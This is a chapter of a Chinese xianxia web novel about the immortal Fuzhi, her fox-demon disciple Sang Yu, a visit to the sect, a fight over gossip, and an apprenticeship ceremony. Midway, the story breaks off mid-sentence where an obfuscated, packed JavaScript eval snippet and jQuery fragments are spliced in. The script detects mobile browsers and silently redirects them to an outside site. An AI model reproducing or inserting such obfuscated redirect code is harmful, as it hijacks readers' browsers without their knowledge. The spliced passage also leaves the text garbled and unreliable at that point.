乍得听见“师尊”二字,扶枝还有些不适应,停顿一会儿才反应是在唤自己。
扶枝挥开身前的小灵虫,转身道:“阿瑀,你来啦。”扶枝神情自然,恍若没在意刚刚说的话。
桑瑀便也没再提及,见她眼底带着浅淡的青黑,只关切问道:“师尊怎么不多睡一会儿?”
“都怪这群小灵虫在我耳边乱叫,给我吵醒了。之后便睡不着了。”扶枝抓着一只小灵虫就在它屁股后拍了两下。绕在扶枝身旁的其他小灵虫见此瑟瑟发抖,忙捂着屁股头也不回地就飞走了。
扶枝大发善心地放过手里的小灵虫,站起身道:“我们去仙门吧,正好给你制几件衣裳。”
/
仙门群山环绕,半个山头几乎隐没在云层后。金色屏障将仙山团团围住,坚不可摧。断崖边有内门弟子在长老的教导下,勤练剑术。也有贪玩的弟子偷跑出去,聚集在石阶旁打叶子牌。
扶枝来到山前,抬手一挥山门显现出来,守门的弟子出来向扶枝问好。
修仙的门派有许多,但闻名三界的门派只有仙门一派。无数人家耗尽家财只为把孩子送到仙山,哪怕只是一个外门弟子也好。以后学成归来,得众人膜拜。男子不愁娶不上一家好姑娘,女子得以在世间独立门户,不必依附男子而活。
桑瑀恍惚想起曾经在妖市时,那里有一只□□妖总是骄傲地捧出自己的宝贝,喜滋滋说:“这是仙门长出的灵草,吃上一株可长三百年的灵力呢!”随便一株都可以卖上几千灵石。对那时深陷泥潭的他,连好好活下去都艰难万分,哪里还有心思关心仙不仙山。
后来,他又看见那只□□妖,不过他的宝贝被抢走了,自此一蹶不振。
不一会儿,二人便走到了仙山深处,周围的殿宇简单却透着奢华。扶枝温声道:“阿瑀,你随他们去挑几匹料子,我与角仙长老商议些事情。”
桑瑀回过神,一位道风仙骨的老者正目光炯炯地看着他,桑瑀朝他微微颔首,便对扶枝道:“好,师尊。”
说罢,桑瑀便随着侍从离开。
角仙眯眼拂过花白的胡子,准确抓住“师尊”二字,问道:“令芒,什么时候收了一个徒弟啊?还是一个妖。”
扶枝道:“在柜临山收的。”
角仙皱起眉毛,“那柜临山危险重重的,还涉及鬼气。想找个徒弟玩玩,也不能胡乱瞎找啊!”
扶枝:“······”又见他一副怀疑模样,解释道:“不是乱找的,我亲自找的当然是好的。”
角仙一摆手,不欲听她掰扯。嘱咐几句,问道:“说回正事,那柜临山的鬼气是怎么个回事?”
扶枝随意道:“角仙,我难不成就站在门外跟你说这些事吗?你要是觉得行,我也没什么意见。”
“进屋进屋。”角仙瞥了她一眼,快步进了屋,宽大的衣摆扬起流畅的弧度。
屋内的陈设与角仙的气质倒是如出一辙,满满一股老土的精致。扶枝坐在一旁小几旁的木垫上,一如往常般自顾自地煮起茶,不过一会儿缕缕茶香充斥在屋里的各个角落。
扶枝笑道:“角仙的茶闻着香,喝着也特别香。”
“每每给你送些过去,你总是不要,不过是你胡说罢了。”角仙哼笑一声。
扶枝弯唇没解释,毕竟确实不好喝,闻着不错,喝起来苦涩涩的。许是心虚,她抬手倒了一杯茶送到角仙面前。
衣袖滑落到手肘间,露出皮肤上的一抹淡粉色疤痕。扶枝上次并未刻意用灵力修复,又裂开过一次,如今也只是刚刚长好。
这一幕落入角仙眼中,他紧皱眉头问道:“柜临山到底发生了什么事?怎么还受了伤?不会与你的那个狐妖徒弟有关吧?”
扶枝叹了一口气,拉着衣袖盖住手臂,无奈道:“你问这么多,我都不知该先回哪一个。”
如今不解释完,角仙估计又要叽叽歪歪一大堆了,便将柜临山的事情悉数告诉角仙。
“怎会有如此多的妖兽被鬼气控制,前日,我与门下弟子已前往查看鬼气的封印依旧被封印完好,这中间一定是出了差错。我过些时日再去检查加固一番。”角仙拧眉道。
他思索着,脑海中忽然蹦出一个恐怖的念头,又不可置信地说道:“难不成是鬼王帝婴?”
听见这话,扶枝悠闲端着茶杯的手微微一顿,眼睫低垂,低声道:“怎么会,帝婴万年前就被阿姊诛灭了。”
二人同时一默,不禁回想起万年前诛杀帝婴时那惨烈的场景。明明已经过去万年,如今想起身体依旧会不自主地颤栗。
角仙缓声道:“小枝,万年前的事......”过去了,别把自己再困进去了。
可话还未说完,便被扶枝打断,她眼眸平静,嗓音清凌凌道:“我知道的。就算重现于世又如何?他能被阿姊诛灭一次,就能被我诛灭第二次。”握着茶杯的指腹却被按得发白。
角仙主动跳开这个话题,“好好好,不说这事。那你收的徒弟又是怎么回事?”
“随手救下的。但为他解毒时,发现他是妖鬼,不过我探过他的识海了,他并未参与柜临山之事,可我总觉得与他有些关系吧,可能是错觉吧。”
“错觉也是感觉,我现在就去扣住他。”角仙说着就要站起身,气势汹汹地往外走。
“什么?”扶枝愣住,赶忙拦着他道:“扣着我徒弟干什么?在我身边,我还能让他跑了不成?”
角仙质疑道:“你真能看住他?”
扶枝将角仙按到凳子上,“能的能的。”又解释道:“多半是他体内的妖丹吸引了那些妖兽,以后不免还会遇到这些事情,我既护他,亦可借他寻找鬼气。”
“你自己有主意便好。”
“嗯,我去瞧瞧桑瑀衣服制得如何?”扶枝站起身离开屋内。
还没走出多远,又绕了回来,笑道:“对了,我打算在你这儿办一个拜师仪式,总归比我那儿热闹。”
角仙摆了摆手,不欲多说道,“好!可以!我速速找人安排。”
另一处,两个仙门弟子站于制衣殿门旁两侧正碎嘴说话。
“哎,你说这令芒上神怎么想的?怎么会收一个狐妖做徒弟?咱们仙门弟子哪个不比狐妖好?我觉得自己就不错,每天对着美人师尊,想想那日子就爽啊!”李毅随意地扣弄手指幻想着。
旁边的人听见这话,随即哼笑一声,“轮着谁,也轮不着你。你先想着怎么能参悟透师尊说的第三层入境吧。”
“切,像你这样的,这辈子也只能当个底层弟子。”李毅白了他一眼。
又不服气地啐了一口,道:“你就参悟透了?”
没过一会儿,李毅没脸皮地又道:“你说不会是令芒上神贪恋这狐妖的容貌,才收他为徒吧。”说着嘴角露出猥琐的笑容。
可刚刚笑到一半,声音还没发出来,脸颊处猛地传来剧痛,李毅还未反应过来,整个人就飞出几十米外,地面上的尘土被扬的几米高!他刚想出声,嘴中又被空中飞速投来的石头塞住。嘴中的牙齿发出咯噔一声,伴着血撑满整张嘴,半张脸瞬间像猪头一样肿了起来。
他怒火中烧,李毅抬眼想看哪个不长眼的东西居然敢打他。
束着马尾的少年身着黑衣抱胸倚在门框处,一条白玉腰带环住他劲瘦的腰身,他勾唇着望向李毅,可红色的眼眸却无端地透露着杀意。
“再说一遍给我听听。”桑瑀淡声道。
李毅颤抖着咽下嘴里的血水,浑身颤抖地下意识朝后退去。毫不怀疑,他但凡再说一遍,面前的男子绝对能剐了他。
见他如此软骨头的模样,桑瑀顿时觉得没什么意思,指尖一弹,李毅嘴中的石子瞬间吐不出来,也咽不下去。桑瑀随意道:“这石子估计没个一年半载也取不出来,正好牙也碎了,就当养伤吧。”
桑瑀又转头对身旁早已吓得瑟瑟发抖的弟子道:“你不扶他吗?”
那弟子慌不择路地跑去扶着李毅离开。离开前,只听见桑瑀在身后冷冷道:“下次再乱说,我看这命也别要了。”
李毅颤颤巍巍被扶走,半路差点在平地摔倒。他不敢再骂那黑衣男子,只能用惨烈的嘴咕哝道:“哪个······狗东西······扫的地,把我······衣服都弄脏了,”说着他又痛得按住自己的嘴,“我要······砍了他。”
旁边的男子腿肚子还在发抖,倏然听见这话,面露疑惑,那制衣殿一只都是李毅自己负责打扫的,他是再骂自己吗?
制衣殿前的桑瑀擦了擦指尖,正打算回去,扶枝的身影便缓缓朝他走来。
“阿瑀,你选好了?”扶枝从门外进来,看了一圈,屋里只有桑瑀一人,又疑惑道:“没人守着这里吗?”
桑瑀抿唇道:“我把他们打了,给他们气走了。”
“为何?”
“因为他们说师尊不好的言论,我一气之下就给他们揍了。”
“哇,阿瑀这么厉害啊,师尊觉得你做得对!”扶枝踮起脚尖,随意揉了他的脑袋,没有狐狸模样好摸,又问:“衣服是你身上这身吗?”
“嗯,好看吗?”桑瑀随意道,他又一次被扶枝惊住,他还是头一次听说自己打了人,还能被夸厉害的。
扶枝仔细看了一圈,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697630|189037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“不错不错,阿瑀身形好,穿什么都好看。没再挑两件其他颜色的换着穿吗?我来看看。”
“都听师尊的,师尊给我挑怎么样?”
“好啊。”
进入内殿,数万种布料浮在半空,颜色、光泽、触感也是千差万别,仿佛将世间所有的色彩都放了进来。扶枝一眼望见最高处一块月白色的料子。下一刻,料子便飞到她的脸前,轻手抚上,如想象般光滑柔软。
“这个衬你,料子也不错。”扶枝将它递给一旁的织仙。
随后又挑了几种不同的颜色,依次给桑瑀看过后,拿给织仙。
不过半刻,各色的衣裳已被照着桑瑀的身形织好,一排织仙整齐地端了过来。
桑瑀目光未落在衣服上,只向扶枝道:“拜师宴不如就穿月白色的,与师尊倒是很搭。”
“你喜欢就好。”扶枝道。
随即又对织仙道:“将它送到听竹院即可。”
/
入夜后,扶枝提着昏黄的纸皮油灯来到望风庭,清瘦单薄的身体立于门前。她独自一人站了许久,才缓缓推开殿门。
扶枝放下手里的灯,掏出火折子点上了殿内的蜡烛,烛光明亮,视线逐渐清晰。
望风庭的陈设与曾经一般无二,应该时常有人打扫,倒是没有一点灰尘。只是平日没人住,气氛显得几分寂寥。
扶枝走向殿中央的神台前,一尊玉像静立着,慈悲而又神圣。而玉像上正是万年前陨落的庚元神尊。
扶枝面色温和地轻手拿起,又仔仔细细地擦拭了一番。她每次来仙山,入夜必做的事情就是独自来这里为庚元神尊擦拭神像。
她语气柔和,“母神,孩儿收一个徒弟。在柜临山捡到他时,他伤得很重。他很像我和阿姊曾经救过的一只小黎狐,不过后来那只小黎狐跑了······”
她随意地倚坐在神台旁,提到阿姊时,整个人倏地愣住,不知想到什么,便止住了话头。
玉像抱在怀里,温凉的触感像是枝山后的山泉,仿佛能抚平所有沟壑。
扶枝低垂着眼眸,一旁烛台暖黄的烛光描摹她的轮廓,仿佛是母亲慈爱地看着自己的孩子。
“母神,我好久没来看你了,今夜我就住在你这里好不好?”话语刚落,扶枝的眼皮便沉沉地合上。
烛火燃尽,恍惚间一个浮影来到扶枝身边,匀称的手指轻抚上她的脸颊,喉间发出轻叹一声,随即便化作烟消散。
这一夜,扶枝睡得格外安稳。
直到外头发出窸窸窣窣的声响,扶枝才迷糊地睁开眼睛。
“令芒上神,拜师宴要开始了。角仙让我来催催您。”外头传来一个清丽的声音。
“好。”扶枝应了一声,便起身在望风庭简单地收拾一下。
来到玉和殿,玉和殿是仙山主殿。常是宴席举办地方。角仙早已落座,扶枝一袭青色玉兰长裙坐于主座,面容沉静清冷。
伴随着一声清脆的玉器碰撞声,拜师宴礼始。殿里的仙士来自各界仙门,听闻扶枝真神收了一只狐狸徒弟,出于好奇纷纷来此观望,一时间人声鼎沸。
桑瑀手持拜师贴,稳步从正门进入。一身月白色长袍衬得桑瑀温润如玉,乌发以银白色发带高高束起,行走间发尾随意扬起,多添一份少年气。
离扶枝三丈远处,桑瑀撩起衣袍恭敬跪下。
扬声诵道:“弟子桑瑀,愿拜于令芒上神门下。愿执弟子之礼,侍奉师尊左右。望师尊不弃、允我一拜。”
说罢,便重重叩首三次。扶枝弯唇来到桑瑀身前,将他扶起。
她眉眼含笑,温声道:“观你品行,纯良正直。自今日起,你我即成师徒,为师盼你不负众望、潜心修行。”
随即,扶枝拿出一块玉佩放在他的掌心。
温凉的天山白玉佩通过他的掌心传入心间,心头微微发痒。桑瑀指腹描过上头纹路,上头刻的是一条狐尾。
桑瑀低垂眼眸,“弟子谢师尊恩赐。”
拜师礼成,众人纷纷贺喜,“恭喜令芒真神收到可心徒弟啊!”却也有一些不和谐的声音,可下一刻就被人怼了回去。
扶枝对桑瑀道:“阿瑀,仙山周围的景色不错,可以去瞧瞧。”
“师尊,不和我一同去吗?”桑瑀问道。
“拜师宴的主角全走了,这像话吗?”扶枝笑道,又塞了一个令牌给他道:“这是我的令牌,作为我的徒弟,仙山的哪里你都可以去看看。”
说罢,扶枝便转身离开。
桑瑀手中依然握着令牌,手指微微发力。
这便是有师尊了吗?